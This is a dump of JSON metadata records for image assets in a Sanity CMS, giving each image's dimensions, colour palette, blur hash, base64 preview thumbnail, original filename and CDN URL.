{"_createdAt":"2022-09-26T19:26:41Z","_id":"image-02d7714532a5ec5c1ce152777f74969683ae992d-1200x630-jpg","_rev":"sI1gFaRN7B5HWmjllBOvrh","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T19:26:41Z","assetId":"02d7714532a5ec5c1ce152777f74969683ae992d","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MKO|eG_N-=4T?bW=baf6WqtR_3DiIT%Moz","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGgAAAQUBAAAAAAAAAAAAAAAAAAIEBQYHCP/EACIQAAEEAgIBBQAAAAAAAAAAAAEAAgMEBRESIUEGEzORwf/EABYBAQEBAAAAAAAAAAAAAAAAAAEAAv/EABYRAQEBAAAAAAAAAAAAAAAAAAARAf/aAAwDAQACEQMRAD8A6FNN5n9wWpgN74b6VA9Z5jNWbcVPHvFOStPykO/lb4WhRACy89/aa5OnXnJkmhY57dacR2t7dEKwdqzcxsU1qIRSHx+oUhGA1jQBoAISq//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#301625","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ae541a","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ecb035","foreground":"#000","population":0.46,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4ccc4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8fb1ed","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c637c","foreground":"#fff","population":0.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecb035","foreground":"#000","population":0.46,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Careers_meta_preview.jpg","path":"images/sczeoy4w/production/02d7714532a5ec5c1ce152777f74969683ae992d-1200x630.jpg","sha1hash":"02d7714532a5ec5c1ce152777f74969683ae992d","size":52497,"uploadId":"SAVMADZRmBaurW5gRx3U1LW3lgZZnnxY","url":"https://cdn.sanity.io/images/sczeoy4w/production/02d7714532a5ec5c1ce152777f74969683ae992d-1200x630.jpg"} {"_createdAt":"2022-06-14T14:41:09Z","_id":"image-02db4e892429a5cd27d40607c10d0829b85d9c80-205x205-jpg","_rev":"qkpX9b3U0TpOGFQp8XG3MD","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:09Z","assetId":"02db4e892429a5cd27d40607c10d0829b85d9c80","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eNGlFxtSys-ow]_3tRR+oLRP4:adivNGo#tls;xaWWV@R+f6n$RjNG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":205,"width":205},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGwABAAEFAQAAAAAAAAAAAAAAAAYBAwQFBwj/xAAlEAACAQQBAwQDAAAAAAAAAAABAgMABAURBgchQRIiMVETYXH/xAAXAQEBAQEAAAAAAAAAAAAAAAADBAEC/8QAGBEBAQEBAQAAAAAAAAAAAAAAAQACAwT/2gAMAwEAAhEDEQA/AJdyS5GMw9xcghWUaUnwTWhsrOY2YyDZV5ZBr1Rsfad+NVkdTczj8fxi6S8mQSSAKiE9yd/VRrAZmCHHxvkJ41tJ2VEZuynt90fZ0aAl8+cONOqZNCCd6+RSr0c8MyK8Lq8ZHtZTsGlUUd5M5Blb3L5See/naWRmPyew/gqiZK6OHawMpNr+QSBD4P6pSjui7j0luJW4Zb+pydSOBs+KUpSFjf/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#614233","foreground":"#fff","population":3.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04140b","foreground":"#fff","population":6.83,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#04140b","foreground":"#fff","population":6.83,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0b0a7","foreground":"#000","population":4.17,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#90e8b7","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#926d5b","foreground":"#fff","population":4.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2ad474","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"eero-800x800.jpg","path":"images/sczeoy4w/production/02db4e892429a5cd27d40607c10d0829b85d9c80-205x205.jpg","sha1hash":"02db4e892429a5cd27d40607c10d0829b85d9c80","size":9575,"uploadId":"vcAsp6TGGJMLPC0VGLd2XO6A6ZrDJHs5","url":"https://cdn.sanity.io/images/sczeoy4w/production/02db4e892429a5cd27d40607c10d0829b85d9c80-205x205.jpg"} {"_createdAt":"2023-11-09T13:54:11Z","_id":"image-02e1d289ae04ea9cebd58c31cadd299c5f21ae04-800x420-jpg","_rev":"Wpyw62fSFsT04yRzqsLlGP","_type":"sanity.imageAsset","_updatedAt":"2023-11-09T13:54:11Z","assetId":"02e1d289ae04ea9cebd58c31cadd299c5f21ae04","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MJD0P_.8_3bI%h-@%MohxakDIU9GMxRjV@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":420,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAYHBAX/xAAlEAABAwMDAwUAAAAAAAAAAAACAQMEAAUSBhExEyEiBxRBcYH/xAAWAQEBAQAAAAAAAAAAAAAAAAACAAH/xAAdEQABAwUBAAAAAAAAAAAAAAAAAQIRAwQSEyEx/9oADAMBAAIRAxEAPwDVrBlWXTkWq7g7De8gHPhfup1Lk3ESVQkOkS84Ob0i+9k9bHruY78b9q7VqlyFcAeqWK/FF1dyTwsSjaTelvWwifkuZo6SeRd+Eopm9PojD2nkN1oTNXS3Vfyigl6seG6j/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4b4d2c","foreground":"#fff","population":0.48,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#373812","foreground":"#fff","population":6.3,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b7c2df","foreground":"#000","population":6.56,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acacc5","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b7c2df","foreground":"#000","population":6.56,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac9c54","foreground":"#000","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#afb461","foreground":"#000","population":0.12,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"1698929288270.jpeg","path":"images/sczeoy4w/production/02e1d289ae04ea9cebd58c31cadd299c5f21ae04-800x420.jpg","sha1hash":"02e1d289ae04ea9cebd58c31cadd299c5f21ae04","size":71171,"uploadId":"jgkvxl2CiickmnVuo9hUHz1nYLzC0QPS","url":"https://cdn.sanity.io/images/sczeoy4w/production/02e1d289ae04ea9cebd58c31cadd299c5f21ae04-800x420.jpg"} {"_createdAt":"2024-01-02T13:27:24Z","_id":"image-0300bd6bf09564629ce3b7b16feec1581b01a5c9-3720x1368-png","_rev":"7oPGYyiRG7hm5kP9i1JbCu","_type":"sanity.imageAsset","_updatedAt":"2024-01-02T13:27:24Z","assetId":"0300bd6bf09564629ce3b7b16feec1581b01a5c9","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.719298245614035,"height":1368,"width":3720},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAABYlAAAWJQFJUiTwAAAA9ElEQVQYlY2OQWrDMBBFff+jdNVDFALtIhBCS2MLDG4aT2xJli1ZoxmNU5ymkO7ymM3/8IZflFXVtq25Yq2d51lELo9RNE0DAEabru8BwDnHzI/K1lhtrB2cNlZrPU3+Xl7+uMXLv7Igooi3Q0zM+X62iPAVEVmWiyyrmRNS8JlSsYa8EOdEjIkiIhGLLCJCRN77vu+11mGOSDmxMOJQq3b7Oh6b4vd9SsmHYIxpAYZhwESJ2IdwPp+VUlVVtQCjjzHlOI1fb5v356fv3fYmI6Jz7nQ61XUNAPM6YJW7rivLcr/fK6WcGzlLnMPx8+OweTmWhx9Wk5Hla7RqdgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#474646","foreground":"#fff","population":1.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8e260e","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#474646","foreground":"#fff","population":1.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ceb6ac","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7e9da","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b7826e","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d86050","foreground":"#fff","population":0.18,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"s3-sink.png","path":"images/sczeoy4w/production/0300bd6bf09564629ce3b7b16feec1581b01a5c9-3720x1368.png","sha1hash":"0300bd6bf09564629ce3b7b16feec1581b01a5c9","size":129277,"uploadId":"JTUQLDXeM4oJRVc682uPRMonaeRMoSEc","url":"https://cdn.sanity.io/images/sczeoy4w/production/0300bd6bf09564629ce3b7b16feec1581b01a5c9-3720x1368.png"} {"_createdAt":"2024-06-11T20:18:41Z","_id":"image-0316a3f06d223534f37da146c05f4d57ebde3c2e-4032x3024-jpg","_rev":"06CnkCNLb8AnjQwiBneoXY","_type":"sanity.imageAsset","_updatedAt":"2024-06-11T20:18:41Z","assetId":"0316a3f06d223534f37da146c05f4d57ebde3c2e","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VNI;eW-:00IVnh_NNdI9%0IoIARPS%tRWXMcRi%Mxut7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3333333333333333,"height":3024,"width":4032},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAPABQDASIAAhEBAxEB/8QAGgAAAQUBAAAAAAAAAAAAAAAAAAIDBAUGB//EACQQAAEDAwQBBQAAAAAAAAAAAAECAwQABREGEhMhByIxQXGR/8QAFQEBAQAAAAAAAAAAAAAAAAAABAX/xAAbEQACAgMBAAAAAAAAAAAAAAABEQADAhIhE//aAAwDAQACEQMRAD8At/EFqYnJnquwDuwoLZWcdEZ9q2eoJDdks051MeMiKlJSNmNxB6ri+kJrUvUVycKnuHjbQloKIA+M0x5IU9b2nVMOOca1BG1SyR+VMxtDFa6ZQNRfo+SHDhsPNFzePUonr7opdg1DBh2tlmTHWt1I7UMd0UUjJxA1U//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7f5e39","foreground":"#fff","population":9.95,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7e4c15","foreground":"#fff","population":0.68,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7f5e39","foreground":"#fff","population":9.95,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4aacc","foreground":"#000","population":1.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0c98a","foreground":"#000","population":0.94,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a68457","foreground":"#fff","population":2.59,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bb8d5f","foreground":"#fff","population":5.4,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"IMG_8832.jpeg","path":"images/sczeoy4w/production/0316a3f06d223534f37da146c05f4d57ebde3c2e-4032x3024.jpg","sha1hash":"0316a3f06d223534f37da146c05f4d57ebde3c2e","size":967143,"uploadId":"bNgOjkRMCzUyUVkBodVJqysKng5w9B7m","url":"https://cdn.sanity.io/images/sczeoy4w/production/0316a3f06d223534f37da146c05f4d57ebde3c2e-4032x3024.jpg"} {"_createdAt":"2022-06-30T20:10:57Z","_id":"image-059e6c82eb846d62ddf16c8a284a8b684785e7c9-1314x1025-jpg","_rev":"QRl2cGoCgj0FlAhkRriSEb","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:30:43Z","assetId":"059e6c82eb846d62ddf16c8a284a8b684785e7c9","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"V6PGpn00000000~qoeIUD%j[~q0K_3IVM{?bf,ITj[j]","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.2819512195121952,"height":1025,"width":1314},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAQABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMIBf/EACEQAAIBBAICAwAAAAAAAAAAAAECAwAEBRESIQhBBiNR/8QAFQEBAQAAAAAAAAAAAAAAAAAAAQD/xAAWEQEBAQAAAAAAAAAAAAAAAAAAATH/2gAMAwEAAhEDEQA/AG+IE3PI55uz9aDs1S1zKYpDLI6rbqu2LHWql/xDcJdZ8lSw4x9CqbkS2vreS1nhLxSLplYdEflN0QuPNYuVeQvbU+upAaKzofh2AgQrFi4FUnegPdFCf//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#333b41","foreground":"#fff","population":0.25,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#124468","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#333b41","foreground":"#fff","population":0.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4bdb4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a8d4f8","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#648094","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#258ed9","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"059e6c82eb846d62ddf16c8a284a8b684785e7c9-1314x1025.jpg","path":"images/sczeoy4w/production/059e6c82eb846d62ddf16c8a284a8b684785e7c9-1314x1025.jpg","sha1hash":"059e6c82eb846d62ddf16c8a284a8b684785e7c9","size":294472,"uploadId":"bm2ct9bQIckeA0Ash0QYZlY2QAON8Hdr","url":"https://cdn.sanity.io/images/sczeoy4w/production/059e6c82eb846d62ddf16c8a284a8b684785e7c9-1314x1025.jpg"} {"_createdAt":"2023-02-03T13:07:41Z","_id":"image-05db72145ab617e4f3916c28fb55b66a6ded1482-1567x844-jpg","_rev":"pnOvEyahjeT2Gte9fmivff","_type":"sanity.imageAsset","_updatedAt":"2023-02-03T13:07:41Z","assetId":"05db72145ab617e4f3916c28fb55b66a6ded1482","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M65Ymv?vM_M|t7_N-=M{M{kCt7t7t7aejY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAQDB//EAB8QAAEDBAMBAAAAAAAAAAAAAAEAAgQDESExBRJBkf/EABYBAQEBAAAAAAAAAAAAAAAAAAIFBv/EABkRAQEAAwEAAAAAAAAAAAAAAAEAAhExQf/aAAwDAQACEQMRAD8A5Gzl4Ap02vgNLmixOMqLk68SW/vFjuoO9F8fFHI0zWlmCQtQYnSiOXjOp8RLlEtMdl//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d2e46","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":65.76,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":65.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4bcd8","foreground":"#000","population":0.42,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#99a9e7","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#617694","foreground":"#fff","population":0.92,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b3474a","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Long_Term_Logging_with_Kafka_and_OpenSearch_blog (1).jpg","path":"images/sczeoy4w/production/05db72145ab617e4f3916c28fb55b66a6ded1482-1567x844.jpg","sha1hash":"05db72145ab617e4f3916c28fb55b66a6ded1482","size":287992,"uploadId":"wkkfdTe8GLJqFpNIyrH8lSCw0pyrvH8I","url":"https://cdn.sanity.io/images/sczeoy4w/production/05db72145ab617e4f3916c28fb55b66a6ded1482-1567x844.jpg"} {"_createdAt":"2022-07-08T09:49:27Z","_id":"image-032ee61029efe66f9a371c04200a5d5382a956ea-1562x800-png","_rev":"cEPH2uRN58AU2lp9QO8PW5","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:31:36Z","assetId":"032ee61029efe66f9a371c04200a5d5382a956ea","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9S6Mc-;~q?bWE-ot7WXRiW;$}IUx]RijZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9525,"height":800,"width":1562},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABYlAAAWJQFJUiTwAAABvklEQVQokWWSyc7bMAyE8/6v1HNvPbSHFk2RP4s3LbE22pZkK8kUVOoCRQ+0BJMafiPqkFJGjBHkNIw4g9wdy7JgnghWX2DkEUb3+PjxDT+/fII6fwaZG7z+gJffsdCInDO2bcPr9cKBN9u2IscZSzCYyMN7D2sMtGygxQVaDWguJ1yPX3Hvj1UkTgaRFFKcKtC6rm9B/nA8n088SkGKESEEOOeqqDUjnLOw1sKYESE4rDmjlA2lrEgp1Vo+U0rB4fF41A2TMjoRVUJeiSZM01RX4wNGFxAC/yd4ZxG8A1GA1hpd10EphQOjchfGZiGpJPq+r0ku1FpBSoVrO+DS9BiEgBADuuYKOXSVehgGnE4nnM/nfwl5GGyNCziEEHXlBm33DqlUrWHCiUKFaNu2ErLtv3e43yMTz9P8x/I7uJCt8Z6bcnMG2euttTVXh8KJPbayYckLKBFSjljjgjwTcorI64qcI3JasK6pCrGzem7jAZW3ICf2dxRThCKFm73hbjWcFLDtFX68V2vejSAvMZHFPM/gN8znd/H/CCv+bNHcG9zaG5qPE5pfR/RtU+9Rig7kFeJCdZC79d0+C/4GlKT7+CHZ7IUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#867956","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c6219","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d4ad41","foreground":"#000","population":0.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4a8cc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#92bde4","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4d9860","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4ad41","foreground":"#000","population":0.65,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"032ee61029efe66f9a371c04200a5d5382a956ea-1562x800.png","path":"images/sczeoy4w/production/032ee61029efe66f9a371c04200a5d5382a956ea-1562x800.png","sha1hash":"032ee61029efe66f9a371c04200a5d5382a956ea","size":221941,"uploadId":"JgxqeTHuhbPaOokY3HNbfjiwupCpyQh3","url":"https://cdn.sanity.io/images/sczeoy4w/production/032ee61029efe66f9a371c04200a5d5382a956ea-1562x800.png"} {"_createdAt":"2022-09-07T11:39:47Z","_id":"image-0341b1c3696da7468cfbba301dd17929b0cdc72f-24x24-svg","_rev":"QRl2cGoCgj0FlAhkRqFkCS","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:47Z","assetId":"0341b1c3696da7468cfbba301dd17929b0cdc72f","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACdklEQVQ4jZ2VwUuUURTFz6ipQYKlWzGyfbSKyMKCalWE1EKhtO9cpRktpVW73PYnVJuCbNPCCGoTRmpt+wtq07p/oXfivndn+tQpIuFyv+e8+X3nvnvuG6gCVKGRKvR4jnWO//oT0RAxIWIqco+Y/793X+dF7c/3RVU2OuC6iKeR+1M3YMBSHWi7YZoHkIjeRDRFbEUe9A2pCzDDqhqsGesrgJbL2j/oTYaWDDuRB/Nmj+k9JRbgARHjIk4nwzkRZ0WcFDHaLtkVtkTsRM4KM3AR0J0a9HZ+Hk7ErIh1EZsiPop4JuKSs7JChcKc2VHY0KkM8ab1ixjwM1KFIRFXA/hdxE8RX0WYiL4OMDGA7ZIXinoRY6m8/XIixmQ4mCyX+CgRX0T8kOGbDE1ZDbhP4SL6ZDiWiGURGxH3ZLggw30Z3sjwSobXIj6LWNhXcj5DV3g3lzwhw6oMb5PhgwybMryXYSOeX8gwk4gZEWsiLroFf3fZSy7AQzKMpwJ7J8O6DPMyzIl4LuJTzoZrMozm7hLHIxfbBKjd5aPJ5RdlL2WY1gJGRBwRcV7EfOTDagFaAtJaeHKkbhs/wwI8IeKhiCcZZhjJ1rmZOzwgYijn2WjcjbBTxO6mEEveVRGTIs5k2GIezUa2kQMehD997VGbZZ+ktjVc2bbao3crf6FzSXQmp1twD9BnOUCucEWGYVker8GwUIn6c33NHG58v/46CucC6E1YiRcsxVG4+pLrQbTCHc24pSb8Ps3XVypn9jhDy1lup2L0P0ZMlu/diqtvSpX7sNTvlphMxFzyEeqm6F8VJp+Kcpt4E7zjfgQl/y3qe8t388/HL0jQYq5VA36GAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#84644c","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8c0c04","foreground":"#fff","population":0.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa6208","foreground":"#fff","population":9.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#962b02","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc642a","foreground":"#fff","population":1.22,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#946c4e","foreground":"#fff","population":0.52,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa6208","foreground":"#fff","population":9.55,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-line-chart-up.svg","path":"images/sczeoy4w/production/0341b1c3696da7468cfbba301dd17929b0cdc72f-24x24.svg","sha1hash":"0341b1c3696da7468cfbba301dd17929b0cdc72f","size":465,"uploadId":"SEnXw6H8sv8253PEPaSqwwhyO0ZPtwb9","url":"https://cdn.sanity.io/images/sczeoy4w/production/0341b1c3696da7468cfbba301dd17929b0cdc72f-24x24.svg"} {"_createdAt":"2023-05-29T07:35:46Z","_id":"image-0364b6271c871e49ad49e46760270cd43515768c-357x40-svg","_rev":"3j6PNipGH9NrGWcobkOy6X","_type":"sanity.imageAsset","_updatedAt":"2023-05-29T07:35:46Z","assetId":"0364b6271c871e49ad49e46760270cd43515768c","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"4T2Q~ApykYVYVC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":8.925,"height":40,"width":357},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAYAAABYBvyLAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAXklEQVQImWNgUA91YNKNtuBxLtRSKVsiZrfxPp/9xvtcNmtuMRtNPcRgvfIag82qGwzEA/VQSw7LdEOVimU61iuv69hveqBnt/6uktWyK7waDWsZzeafYTBfcI5o8wAwKx1jbUftTAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c445c","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04143c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#588d9b","foreground":"#fff","population":0.79,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6898b4","foreground":"#fff","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a1d4d7","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#588d9b","foreground":"#fff","population":0.79,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3a858a","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"peer-insights-r-TM-rgb-for-white-bkgrnd 1.svg","path":"images/sczeoy4w/production/0364b6271c871e49ad49e46760270cd43515768c-357x40.svg","sha1hash":"0364b6271c871e49ad49e46760270cd43515768c","size":8745,"uploadId":"tiSwCcoNecCHq97SLXwtL7TC4AMYBZzi","url":"https://cdn.sanity.io/images/sczeoy4w/production/0364b6271c871e49ad49e46760270cd43515768c-357x40.svg"} 